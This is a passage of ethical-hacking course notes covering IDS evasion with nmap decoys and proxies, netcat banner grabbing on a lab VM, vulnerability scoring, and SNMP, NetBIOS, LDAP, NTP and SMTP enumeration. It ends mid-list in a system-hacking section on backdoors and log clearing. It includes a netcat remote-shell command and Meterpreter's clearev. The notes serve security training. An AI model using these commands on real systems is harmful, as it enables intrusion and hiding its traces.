    <li><strong>Spoofing</strong> - can only be used when you don't expect a response back to your machine</li>
    <li><strong>Source routing</strong> - specifies the path a packet should take on the network; most systems don't
      allow this anymore</li>
    <li><strong>IP Address Decoy</strong> - sends packets from your IP as well as multiple other decoys to confuse the
      IDS/Firewall as to where the attack is really coming from.
      <ul>
        <li><strong><code>nmap -D RND:10 x.x.x.x</code></strong></li>
        <li><strong><code>nmap -D decoyIP1,decoyIP2....,sourceIP,.... [target]</code></strong></li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚡︎ <strong>Check the IP Address Decoy <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/2-Scanning-Networks/5-NmapDecoyIP.md">practical
          lab</a> using nmap</strong></p>
  </blockquote>
  <ul>
    <li><strong>Proxy</strong> - hides true identity by filtering through another computer. Also can be used for other
      purposes such as content blocking evasion, etc.
      <ul>
        <li><strong>Proxy chains</strong> - chaining multiple proxies together
          <ul>
            <li>Proxy Switcher</li>
            <li>Proxy Workbench</li>
            <li>ProxyChains</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Tor</strong> - a specific type of proxy that uses multiple hops to a destination; endpoints are peer
      computers</li>
    <li><strong>Anonymizers</strong> - hides identity on HTTP traffic (port 80)</li>
  </ul>
  <h2><u>Banner Grabbing</u></h2>
  <p><em>Banner grabbing can be used to get information about OS or specific server info (such as web server, mail
      server, etc.)</em></p>
  <ul>
    <li><strong>Active</strong> - sending specially crafted packets and comparing responses to determine OS</li>
    <li><strong>Passive</strong> - reading error messages, sniffing traffic or looking at page extensions</li>
    <li>Easy way to banner grab is connect via <strong>telnet</strong> on port (e.g. 80 for web server)</li>
    <li><strong>Netcat</strong> tool
      <ul>
        <li>"Swiss army knife" of TCP/IP hacking</li>
        <li>Provides all sorts of control over a remote shell on a target</li>
        <li>Connects via <strong><code>nc -e &lt;IP address&gt; &lt;Port&gt;</code></strong></li>
        <li>From attack machine <strong><code>nc -l -p 5555</code></strong> opens a listening port on 5555</li>
        <li>Can connect over TCP or UDP, from any port</li>
        <li>Offers DNS forwarding, port mapping and forwarding and proxying</li>
        <li><strong>Netcat</strong> can be used to banner grab:
          <ul>
            <li><code>nc &lt;IP address or FQDN&gt; &lt;port number&gt;</code></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <ul>
    <li><strong>Example of Banner grabbing on netcat - extracting request HTTP header</strong>
      <ol>
        <li><code>nc</code> command with <code>target IP</code> address and <code>port 80</code></li>
        <li>Issue the <code>GET / HTTP/1.0</code> (this GET request will send to the web server).</li>
        <li><strong>The server responded with some interesting information:</strong>
          <pre><code>nc 192.168.63.143 80
GET / HTTP/1.0            

HTTP/1.1 200 OK
Date: Sun, 12 Aug 2018 13:36:59 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Connection: close
Content-Type: text/html

&lt;html&gt;&lt;head&gt;&lt;title&gt;Metasploitable2 - Linux&lt;/title&gt;&lt;/head&gt;&lt;body&gt;
&lt;pre&gt;

                _                  _       _ _        _     _      ____  
_ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/twiki/"&gt;TWiki&lt;/a&gt;&lt;/li&gt;
</code></pre>
        </li>
      </ol>
    </li>
  </ul>
  <h2><u>Vulnerabilities</u></h2>
  <h3><strong>Vulnerability Categories</strong>:</h3>
  <ul>
    <li><strong>Misconfiguration</strong> - improperly configuring a service or application</li>
    <li><strong>Default installation</strong> - failure to change settings in an application that come by default</li>
    <li><strong>Buffer overflow</strong> - code execution flaw</li>
    <li><strong>Missing patches</strong> - systems that have not been patched</li>
    <li><strong>Design flaws</strong> - flaws inherent to system design such as encryption and data validation</li>
    <li><strong>Operating System Flaws</strong> - flaws specific to each OS</li>
    <li><strong>Default passwords</strong> - leaving default passwords that come with system/application</li>
  </ul>
  <h3><strong>Vulnerability Assessment</strong> - Scans and tests for vulnerabilities but does not intentionally exploit
    them.</h3>
  <ul>
    <li>Find the vulnerabilities so we can categorize them (OS, Misconfigurations, patch management, third-party, etc)
    </li>
  </ul>
  <h3><strong>Vulnerability Management Life-cycle</strong></h3>
  <p><em>The Vulnerability Management Life Cycle is intended to allow organizations to <strong>identify system security
        weaknesses; prioritize assets; assess, report, and remediate the weaknesses; and verify that they have been
        eliminated.</strong></em></p>
  <p><img src="https://www.parsolvo.com/wp-content/uploads/2020/02/Vulnerability-Management-Process-Lifecycle-Blue.png"
      alt="vuln-assess"></p>
  <ol>
    <li><strong>Discover:</strong> Inventory all assets across the network and identify host details including operating
      system and open services to identify vulnerabilities. Develop a network baseline. Identify security
      vulnerabilities on a regular automated schedule.</li>
    <li><strong>Prioritize Assets:</strong> Categorize assets into groups or business units, and assign a business value
      to asset groups based on their criticality to your business operation.</li>
    <li><strong>Assess:</strong> Determine a baseline risk profile so you can eliminate risks based on asset
      criticality, vulnerability threat, and asset classification.</li>
    <li><strong>Report:</strong> Measure the level of business risk associated with your assets according to your
      security policies. Document a security plan, monitor suspicious activity, and describe known vulnerabilities.</li>
    <li><strong>Remediate:</strong> Prioritize and fix vulnerabilities in order according to business risk. Establish
      controls and demonstrate progress.</li>
    <li><strong>Verify:</strong> Verify that threats have been eliminated through follow-up audits.</li>
  </ol>
  <h3><strong>Vulnerability Scanning</strong></h3>
  <p><em>Can be complex or simple tools run against a target to determine vulnerabilities.</em></p>
  <ul>
    <li>
      <p><strong>Types of Vuln. Assessment tools:</strong></p>
      <ul>
        <li>Host-based</li>
        <li>Depth-based (Fuzzer tools)</li>
        <li>Application-layer tools (software, databases, etc)</li>
        <li>Active scanning</li>
        <li>Passive scanning</li>
        <li>Scope tools</li>
      </ul>
    </li>
    <li>
      <p><strong>Tools</strong>:</p>
      <ul>
        <li>Industry standard is <strong><a href="https://www.tenable.com/">Tenable's Nessus</a>.</strong></li>
        <li><strong><a href="https://www.gfi.com/products-and-solutions/network-security-solutions/gfi-languard">GFI
              LanGuard</a>.</strong></li>
        <li><strong><a href="https://github.com/sullo/nikto">Nikto</a></strong> - CLI; is a <strong>web server
            assessment tool</strong>. It is designed to find various default and insecure files, configurations and
          programs on any type of web server.</li>
        <li><strong><a href="https://www.openvas.org/">OpenVAS</a></strong> - Best competitor to Nessus and is free.
        </li>
        <li><strong><a href="https://wpscan.org/">wpscan</a></strong> - CLI; Scan WordPress websites.</li>
        <li><strong>MBSA - Microsoft Baseline Security Analyzer</strong>.</li>
        <li><strong>FreeScan</strong> - Well known for testing websites and applications.</li>
        <li><strong>Qualys</strong></li>
      </ul>
    </li>
  </ul>
  <h3><strong>CVSS and CVE</strong></h3>
  <ul>
    <li>
      <p><strong>CVSS - Common Vulnerability Scoring System</strong> <a
          href="https://nvd.nist.gov/vuln-metrics/cvss">[+]</a></p>
      <ul>
        <li>Places numerical score based on severity</li>
        <li><img
            src="https://3.bp.blogspot.com/-5V1cb_wTvsk/Wl78iF4Sd8I/AAAAAAAAF7U/KmK4pMXi54YworDgh4uI8aZtHgy0bbznQCLcBGAs/s1600/CVSS.png"
            alt="cvss">
          <ul>
            <li>None - white (0.0)</li>
            <li>Low - green tones (0.1 - 3.9)</li>
            <li>Medium - yellow/light orange (4.0 - 4.9)</li>
            <li>High - orange (7.0 - 8.0)</li>
            <li>Critical - red (9.0 - 10.0)</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>CVE – Common Vulnerabilities and Exposures</strong> <a href="https://cve.mitre.org/">[+]</a></p>
      <ul>
        <li>Is a list of publicly disclosed vulnerabilities and exposures that is maintained by MITRE.</li>
        <li><img src="https://i0.wp.com/gbhackers.com/wp-content/uploads/2016/10/cve.png?resize=486%252C408&amp;ssl=1"
            alt="cve"></li>
      </ul>
    </li>
    <li>
      <p><strong>NVD - National Vulnerability Database</strong> <a href="https://nvd.nist.gov/">[+]</a></p>
      <ul>
        <li>is a database, maintained by NIST, that is fully synchronized with the MITRE CVE list; US Gov.
          vulnerabilities repository.</li>
      </ul>
    </li>
  </ul>
  <h2><u>ProxyChains ⛓</u></h2>
  <p><img src="https://udigrudroid.files.wordpress.com/2018/11/proxy.jpg?w=620" alt="proxychains"></p>
  <p><em>ProxyChains is open-source software that is available free and most of Linux distro it is pre-installed. If you
      are using the latest version of Kali Linux it is pre-installed in it.</em></p>
  <p><em>ProxyChains is a tool that redirects the TCP (Transmission Control Protocol) connection with the help of
      proxies like TOR, HTTP(S), and SOCKS, and it creates a proxy chain server.</em></p>
  <p><strong>ProxyChains Features:</strong></p>
  <ul>
    <li>Support <strong>SOCKS5</strong>, <strong>SOCKS4</strong>, and <strong>HTTP/HTTPS</strong> CONNECT proxy servers.
    </li>
    <li>Proxychains can be mixed up with a different proxy types in a list</li>
    <li>Proxychains also supports any kinds of chaining option methods, like: random, which takes a random proxy in the
      list stored in a configuration file, or chaining proxies in the exact order list, different proxies are separated
      by a new line in a file. There is also a dynamic option, that lets Proxychains go through the live only proxies,
      it will exclude the dead or unreachable proxies, the dynamic option often called smart option.</li>
    <li>Proxychains can be used with servers, like squid, sendmail, etc.</li>
    <li>Proxychains is capable to do DNS resolving through proxy.</li>
    <li>Proxychains can handle any TCP client application, ie., nmap, telnet.</li>
  </ul>
  <h1><u>Enumeration Concepts</u></h1>
  <p>Enumeration is the process of extracting <strong>user names, machine names, network resources, shares, and
      services</strong> from a system, and its conducted in an intranet environment.</p>
  <ul>
    <li><strong>Get user names using email IDs</strong></li>
    <li><strong>Get information using default passwords</strong></li>
    <li><strong>Get user names using SNMP</strong></li>
    <li><strong>Brute force AD</strong></li>
    <li><strong>Get user groups from Windows</strong></li>
    <li><strong>Get information using DNS zone transfers</strong></li>
    <li><strong>NetBios, LDAP, NTP, DNS</strong></li>
  </ul>
  <p>In this phase, the attacker creates an active connection to the system and performs directed queries to gain more
    information about the target. The gathered information is used to identify the vulnerabilities or weak points in
    system security and tries to exploit in the System gaining phase.</p>
  <ul>
    <li><strong>Defined as listing the items that are found within a specific target</strong></li>
    <li><strong>Always is active in nature</strong></li>
    <li><strong>Direct access</strong></li>
    <li><strong>Gain more information</strong></li>
  </ul>
  <h2><u>SNMP Enumeration</u></h2>
  <blockquote>
    <p>⚡︎ <strong>Check the SNMP Enumeration <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/3-Enumeration/2-SNMP-Enumeration.md">practical
          lab</a></strong></p>
  </blockquote>
  <p>SNMP enumeration is the process of enumerating the users accounts and devices on a SNMP enabled computer.</p>
  <ul>
    <li>SNMP service comes with two passwords, which are used to configure and access the SNMP agent from the management
      station (MIB):
      <ol>
        <li><strong>Read community string</strong></li>
        <li><strong>Read/Write community string</strong></li>
      </ol>
    </li>
    <li>These strings (<strong><code>passwords</code></strong>) come with a <strong>default value</strong>, which is
      same for all the systems.</li>
    <li><strong>They become easy entry points for attackers if left unchanged by administrator</strong>.</li>
  </ul>
  <p>Attackers enumerate SNMP to extract information about network resources such as hosts, routers, devices,
    shares(...) Network information such as ARP tables, routing tables, device specific information and traffic
    statistics.</p>
  <ul>
    <li><strong>Runs on Port 161 UDP</strong></li>
    <li><strong>Management Information Base</strong> (MIB) - database that stores information</li>
    <li><strong>Object Identifiers</strong> (OID) - identifiers for information stored in MIB</li>
    <li><strong>SNMP GET</strong> - gets information about the system</li>
    <li><strong>SNMP SET</strong> - sets information about the system</li>
    <li><strong>Types of objects</strong>
      <ul>
        <li><strong>Scalar</strong> - single object</li>
        <li><strong>Tabular</strong> - multiple related objects that can be grouped together</li>
      </ul>
    </li>
    <li>SNMP uses community strings which function as passwords</li>
    <li>There is a read-only and a read-write version</li>
    <li>Default read-only string is <strong>public</strong> and default read-write is <strong>private</strong></li>
    <li>These are sent in cleartext unless using SNMP v3</li>
    <li><strong>CLI Tools</strong>
      <ul>
        <li>
          <p><strong><code>snmp-check</code></strong> --&gt; SNMP device enumerator comes pre-installed on Kali Linux
            machine; <strong>snmp-check</strong> supports a huge type of enumerations:</p>
          <ul>
            <li>
              <p>contact and user accounts</p>
            </li>
            <li>
              <p>devices</p>
            </li>
            <li>
              <p>domain</p>
            </li>
            <li>
              <p>hardware and storage informations</p>
            </li>
            <li>
              <p>hostname</p>
            </li>
            <li>
              <p>IIS statistics</p>
            </li>
            <li>
              <p>listening UDP ports and TCP connections</p>
            </li>
            <li>
              <p>motd (banner)</p>
            </li>
            <li>
              <p>network interfaces and network services</p>
            </li>
            <li>
              <p>routing information</p>
            </li>
            <li>
              <p>etc</p>
            </li>
          </ul>
        </li>
        <li>
          <p><strong>Metasploit module <code>snmp_enum</code></strong></p>
          <ul>
            <li><a
                href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/3-Enumeration/2-SNMP-Enumeration.md">⚡︎
                MSF snmp_enum practical lab</a></li>
          </ul>
        </li>
        <li>
          <p>snmpwalk</p>
        </li>
      </ul>
    </li>
    <li><strong>GUI Tools</strong>
      <ul>
        <li>
          <p>Engineer's Toolset</p>
        </li>
        <li>
          <p>SNMPScanner</p>
        </li>
        <li>
          <p>OpUtils 5</p>
        </li>
        <li>
          <p>SNScan</p>
          <p><strong>Example of SNScan</strong>:</p>
          <ul>
            <li><em>Note: the first scanned item is a printer running SNMP.</em>
              <img
                src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/292c0411bb379aaf25e403741f64e62bbe4bc6a0/snmp-snas.png"
                alt="sns"></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h2><u>Windows System Basics</u></h2>
  <ul>
    <li>Everything runs within context of an account</li>
    <li><strong>Security Context</strong> - user identity and authentication information</li>
    <li><strong>Security Identifier</strong> (SID) - identifies a user, group or computer account</li>
    <li><strong>Resource Identifier</strong> (RID) - portion of the SID identifying a specific user, group or computer
    </li>
    <li>The end of the SID indicates the user number
      <ul>
        <li>Example SID: S-1-5-21-3874928736-367528774-1298337465-<strong>500</strong></li>
        <li><strong>Administrator Account</strong> - SID of 500
          <ul>
            <li>Command to get SID of local user:
              <ul>
                <li><strong><code>wmic useraccount where name='username' get sid</code></strong></li>
              </ul>
            </li>
          </ul>
        </li>
        <li><strong>Regular Accounts</strong> - start with a SID of 1000</li>
        <li><strong>Linux Systems</strong> used user IDs (UID) and group IDs (GID). Found in /etc/passwd</li>
      </ul>
    </li>
    <li><strong>SAM Database</strong> - file where all local passwords are stored (encrypted)
      <ul>
        <li>Stored in C:\Windows\System32\Config</li>
      </ul>
    </li>
    <li><strong>Linux Enumeration Commands in PowerShell or CmdPrompt</strong>
      <ul>
        <li><strong><code>finger</code></strong> - info on user and host machine</li>
        <li><strong><code>rpcinfo</code></strong> and <strong><code>rpcclient</code></strong> - info on RPC in the
          environment</li>
        <li><strong><code>showmount</code></strong> - displays all shared directories on the machine</li>
      </ul>
    </li>
    <li><strong>Look for share resources (NetBIOS):</strong>
      <ul>
        <li><strong><code>net view \\sysName</code></strong></li>
      </ul>
    </li>
    <li><strong>Windows SysInternals</strong> is a website and suite that offers technical resources and utilities to
      manage, diagnose, troubleshoot, and monitor.
      <ul>
        <li><a
            href="https://docs.microsoft.com/en-us/sysinternals/downloads/">https://docs.microsoft.com/en-us/sysinternals/downloads/</a>
        </li>
        <li>Lots of resources for enumerating, windows administration tools, etc.</li>
      </ul>
    </li>
  </ul>
  <h2><u>NetBIOS Enumeration</u></h2>
  <ul>
    <li>NetBIOS provides name servicing, connectionless communication and some Session layer stuff</li>
    <li>The browser service in Windows designed to host information about all machines within domain or TCP/IP network
      segment</li>
    <li>NetBIOS name is a <strong>16-character ASCII string</strong> used to identify devices</li>
  </ul>
  <p><strong>Enumerating NetBIOS</strong>:</p>
  <ul>
    <li>
      <p>You can use <strong><code>nmap or zenmap</code></strong> to check which OS the target is using, and which ports
        are open:</p>
      <ul>
        <li><strong><code>nmap -O &lt;target&gt;</code></strong></li>
      </ul>
    </li>
    <li>
      <p>If theres any <strong>UDP port 137</strong> or <strong>TCP port 138/139</strong> open, we can assume that the
        target is running some type of NetBIOS service.</p>
    </li>
    <li>
      <p>On Windows is <strong><code>nbtstat</code></strong> command:</p>
    </li>
  </ul>
  <p><em><strong><code>nbtstat</code></strong> displays protocol statistics and current TCP/IP connections using NetBIOS
      over TCP/IP.</em></p>
  <ul>
    <li><strong><code>nbtstat</code></strong> gives your own info</li>
    <li><strong><code>nbtstat -a</code></strong> list the remote machine's name table given its <strong>name</strong>
    </li>
    <li><strong><code>nbtstat -A </code></strong> - list the remote machine's name table given its <strong>IP
        address</strong></li>
    <li><strong><code>nbtstat -n</code></strong> gives local table</li>
    <li><strong><code>nbtstat -c</code></strong> gives cache information</li>
  </ul>
  <p><img src="https://networkencyclopedia.com/wp-content/uploads/2019/08/nbtstat.jpg" alt="f"></p>
  <table>
    <thead>
      <tr>
        <th>Code</th>
        <th>Type</th>
        <th>Meaning</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>&lt;1B&gt;</td>
        <td>UNIQUE</td>
        <td>Domain master browser</td>
      </tr>
      <tr>
        <td>&lt;1C&gt;</td>
        <td>UNIQUE</td>
        <td>Domain controller</td>
      </tr>
      <tr>
        <td>&lt;1D&gt;</td>
        <td>GROUP</td>
        <td>Master browser for subnet</td>
      </tr>
      <tr>
        <td>&lt;00&gt;</td>
        <td>UNIQUE</td>
        <td>Hostname</td>
      </tr>
      <tr>
        <td>&lt;00&gt;</td>
        <td>GROUP</td>
        <td>Domain name</td>
      </tr>
      <tr>
        <td>&lt;03&gt;</td>
        <td>UNIQUE</td>
        <td>Service running on system</td>
      </tr>
      <tr>
        <td>&lt;20&gt;</td>
        <td>UNIQUE</td>
        <td>Server service running</td>
      </tr>
    </tbody>
  </table>
  <ul>
    <li>NetBIOS name resolution doesn't work on IPv6</li>
    <li><strong>Other Tools for NetBIOS enumeration:</strong>
      <ul>
        <li><strong>SuperScan</strong></li>
        <li><strong>Hyena</strong></li>
        <li><strong>NetBIOS Enumerator (is a nbtstat with GUI)</strong></li>
        <li><strong>NSAuditor</strong></li>
      </ul>
    </li>
  </ul>
  <h2><u>Linux System Basics</u></h2>
  <ul>
    <li>
      <p><strong><code>Enum4linux</code> is a tool for enumerating information from Windows and Samba systems:</strong>
      </p>
      <ul>
        <li>
          <p><code>enum4linux -u CEH -p Pa55w0rd -U 10.0.2.23</code></p>
          <ul>
            <li><code>-u</code> Username, <code>-p</code> Password, <code>-U</code> users information</li>
          </ul>
        </li>
        <li>
          <p><a
              href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/3-Enumeration/3-Enum4linux-Win-and-Samba-Enumeration.md">⚡︎
              enum4linux practical lab</a></p>
        </li>
        <li>
          <p>Key features:</p>
          <ul>
            <li>RID cycling <em>(When RestrictAnonymous is set to 1 on Windows 2000)</em></li>
            <li>User listing <em>(When RestrictAnonymous is set to 0 on Windows 2000)</em></li>
            <li>Listing of group membership information</li>
            <li>Share enumeration</li>
            <li>Detecting if host is in a workgroup or a domain</li>
            <li>Identifying the remote operating system</li>
            <li>Password policy retrieval (using polenum)</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong><code>finger</code></strong> --&gt; who is currently logged in, when and where.</p>
      <pre><code>Login     Name       Tty      Idle  Login Time   Office     Office Phone
kali      Kali       tty7    10:09  Sep 1 14:14 (:0)

</code></pre>
    </li>
    <li>
      <p><strong><code>w</code></strong> --&gt; Show who is logged on and what they are doing.</p>
      <pre><code>00:27:15 up  9:32,  1 user,  load average: 0.06, 0.09, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
kali     tty7     :0               14:16   10:11m 30.26s  2.09s xfce4-session

</code></pre>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Linux architecture and commands will be cover later on next module.</strong></p>
  </blockquote>
  <h2><u>LDAP Enumeration</u></h2>
  <ul>
    <li>
      <p><strong>Runs on TCP ports 389 and 636 (over SSL)</strong></p>
    </li>
    <li>
      <p>Connects on 389 to a Directory System Agent (DSA)</p>
    </li>
    <li>
      <p>Returns information such as valid user names, domain information, addresses, telephone numbers, system data,
        organization structure and other items</p>
    </li>
    <li>
      <p>To identify if the target system is using LDAP services you can use <strong>nmap</strong> with <code>-sT</code>
        flag for TCP connect/Full scan and <code>-O</code> flag for OS detection.</p>
    </li>
  </ul>
  <p><strong><code>sudo nmap -sT -O &lt;target IP address&gt;</code></strong></p>
  <pre><code>PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap &lt;--------------------------------------
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl &lt;--------------------------------------
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
MAC Address: 00:00:11:33:77:44
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or Windows Server 2012 R2
Network Distance: 1 hop
</code></pre>
  <ul>
    <li>
      <p><strong>Tools for Enumeration LDAP:</strong></p>
      <ul>
        <li>Softerra</li>
        <li>JXplorer</li>
        <li>Lex</li>
        <li>LDAP Admin Tool</li>
      </ul>
    </li>
    <li>
      <p><strong>JXplorer example</strong>:
        <img width="80%" src="https://a.fsdn.com/con/app/proj/jxplorer/screenshots/16630.jpg/max/max/1"></p>
    </li>
  </ul>
  <h2><u>NTP Enumeration</u></h2>
  <ul>
    <li><strong>Runs on UDP 123</strong></li>
    <li>Querying can give you list of systems connected to the server (name and IP)</li>
    <li><strong>Tools</strong>
      <ul>
        <li>NTP Server Scanner</li>
        <li>AtomSync</li>
        <li>Can also use Nmap and Wireshark</li>
      </ul>
    </li>
    <li><strong>Commands</strong> include <code>ntptrace</code>, <code>ntpdate</code>, <code>ntpdc</code> and
      <code>ntpq</code></li>
  </ul>
  <p><strong>Nmap example for NTP enumeration:</strong></p>
  <ul>
    <li><code>-sU</code> UDP scan</li>
    <li><code>-pU</code> port UDP 123 (NTP)</li>
    <li><code>-Pn</code> Treat all hosts as online -- skip host discovery</li>
    <li><code>-n</code> Never do DNS resolution</li>
    <li>The <a href="https://nmap.org/nsedoc/scripts/ntp-monlist.html">nmap script</a> <code>ntp-monlist</code> will run
      against the ntp service which only runs on UDP 123</li>
  </ul>
  <p><strong><code>nmap -sU -pU:123 -Pn -n --script=ntp-monlist &lt;target&gt;</code></strong></p>
  <pre><code>PORT    STATE SERVICE REASON
123/udp open  ntp     udp-response
| ntp-monlist:
|   Target is synchronised with 127.127.38.0 (reference clock)
|   Alternative Target Interfaces:
|       10.17.4.20
|   Private Servers (0)
|   Public Servers (0)
|   Private Peers (0)
|   Public Peers (0)
|   Private Clients (2)
|       10.20.8.69      169.254.138.63
|   Public Clients (597)
|       4.79.17.248     68.70.72.194    74.247.37.194   99.190.119.152
|       ...
|       12.10.160.20    68.80.36.133    75.1.39.42      108.7.58.118
|       68.56.205.98
|       2001:1400:0:0:0:0:0:1 2001:16d8:dd00:38:0:0:0:2
|       2002:db5a:bccd:1:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682
|   Other Associations (1)
|_      127.0.0.1 seen 1949869 times. last tx was unicast v2 mode 7
</code></pre>
  <ul>
    <li>As you can see on the output above, information of all clients that is using NTP services on the network shown
      IPv4 and IPv6 addresses.</li>
  </ul>
  <h2><u>SMTP Enumeration</u></h2>
  <ul>
    <li><strong>Ports used</strong>:
      <ul>
        <li><strong>SMTP: TCP 25</strong> --&gt; [outbound email]</li>
        <li><strong>IMAP: TCP 143 / 993</strong>(over SSL) --&gt; [inbound email]</li>
        <li><strong>POP3: TCP 110 / 995</strong>(over SSL) --&gt; [inbound email]</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <ul>
      <li>In simple words: <strong>users typically use a program that uses SMTP for sending e-mail and either POP3 or
          IMAP for receiving e-mail.</strong></li>
    </ul>
  </blockquote>
  <ul>
    <li><strong>Enumerating with nmap</strong>:</li>
    <li><code>-p25</code> port 25 (SMTP)</li>
    <li><code>--script smtp-commands</code> nmap script - attempts to use EHLO and HELP to gather the Extended commands
      supported by an SMTP server.</li>
  </ul>
  <p><strong><code>nmap -p25 --script smtp-commands &lt;target IP&gt;</code></strong></p>
  <pre><code>PORT   STATE SERVICE
25/tcp open  smtp
| smtp-commands: WIN-J83C1DR5CV1.ceh.global Hello [10.10.10.10], TURN, SIZE 2097152, ETRN, PIPELINING, DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, OK, 
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ETRN BDAT VRFY 

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
</code></pre>
  <ul>
    <li>It is possible to connect to SMTP through <strong>Telnet connection</strong>, instead using port 23(Telnet) we
      can set the port 25(SMTP) on the telnet command:
      <ul>
        <li><strong><code>telnet &lt;target&gt; 25</code></strong>
          <ul>
            <li>Case we got connected, we can use the <strong>SMTP commands</strong> to explore as shown below:</li>
            <li><img
                src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/2ea0450933a1899b77a7519a46b4aee3b1597759/smtp-commands.png"
                alt="smtp"></li>
            <li>Both of emails are valid to an attacker explore further attacks like brute forcing etc.</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3>Some SMTP Commands:</h3>
  <table>
    <thead>
      <tr>
        <th align="center">Command</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td align="center">HELO</td>
        <td>It’s the first SMTP command: is starts the conversation identifying the sender server and is generally
          followed by its domain name.</td>
      </tr>
      <tr>
        <td align="center">EHLO</td>
        <td>An alternative command to start the conversation, underlying that the server is using the Extended SMTP
          protocol.</td>
      </tr>
      <tr>
        <td align="center">MAIL FROM</td>
        <td>With this SMTP command the operations begin: the sender states the source email address in the “From” field
          and actually starts the email transfer.</td>
      </tr>
      <tr>
        <td align="center">RCPT TO</td>
        <td>It identifies the recipient of the email</td>
      </tr>
      <tr>
        <td align="center">DATA</td>
        <td>With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply
          code given by the server, giving the permission to start the actual transmission.</td>
      </tr>
      <tr>
        <td align="center">VRFY</td>
        <td>The server is asked to verify whether a particular email address or username actually exists.</td>
      </tr>
      <tr>
        <td align="center">EXPN</td>
        <td>asks for a confirmation about the identification of a mailing list.</td>
      </tr>
    </tbody>
  </table>
  <p><strong>Other tools</strong>:</p>
  <ul>
    <li>smtp-user-enum
      <ul>
        <li>Username guessing tool primarily for use against the default Solaris SMTP service. Can use either EXPN, VRFY
          or RCPT TO.</li>
      </ul>
    </li>
  </ul>
  <h1>3. System Hacking</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/5-System-Hacking">practical
          labs</a></strong></p>
  </blockquote>
  <h2>Goals:</h2>
  <ol>
    <li><strong>Gaining Access</strong> - Uses information gathered to exploit the system
      <ul>
        <li><strong>Password Attacks:</strong></li>
        <li><strong>Non-electronic attacks</strong></li>
        <li><strong>Active online attacks</strong></li>
        <li><strong>Passive online attacks</strong></li>
        <li><strong>Offline attacks</strong></li>
      </ul>
    </li>
    <li><strong>Escalating Privileges</strong> - Granting the account you've hacked admin or pivoting to an admin
      account</li>
    <li><strong>Executing Applications</strong> - Putting back doors into the system so that you can maintain access
    </li>
    <li><strong>Hiding Files</strong> - Making sure the files you leave behind are not discoverable</li>
    <li><strong>Covering Tracks</strong> - Cleaning up everything else (log files, etc.)
      <ul>
        <li><strong>clearev</strong> - Meterpreter shell command to clear log files (issued inside Metasploit Framework)
        </li>
        <li>Clear MRU list in Windows</li>
        <li>In Linux, append a dot in front of a file to hide it</li>
      </ul>
    </li>
  </ol>
  <h2><u>Password Attacks</u></h2>
  <blockquote>
    <p>⚡︎ <strong>Check out the practical labs on <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/2-SAM-Hashes.md">Dumping
          and Cracking SAM hashes [1]</a>, <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/3-Rainbow-tables.md">Rainbow
          Tables Basics [2]</a> and <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/1-LLMNR-NBT-NS.md">LLMNR/NBT-NS
          [3]</a>.</strong></p>
  </blockquote>
  <h3><strong>Non-electronic</strong> - Non-technical attacks.</h3>
  <ul>
    <li>Social engineering attacks - most effective.</li>
    <li>Shoulder surfing</li>
    <li>Dumpster diving</li>
    <li>Snooping around</li>
    <li>Guessing</li>
  </ul>
  <h3><strong>Active online</strong> - done by directly communicating with the victim's machine.</h3>
  <ul>
    <li>
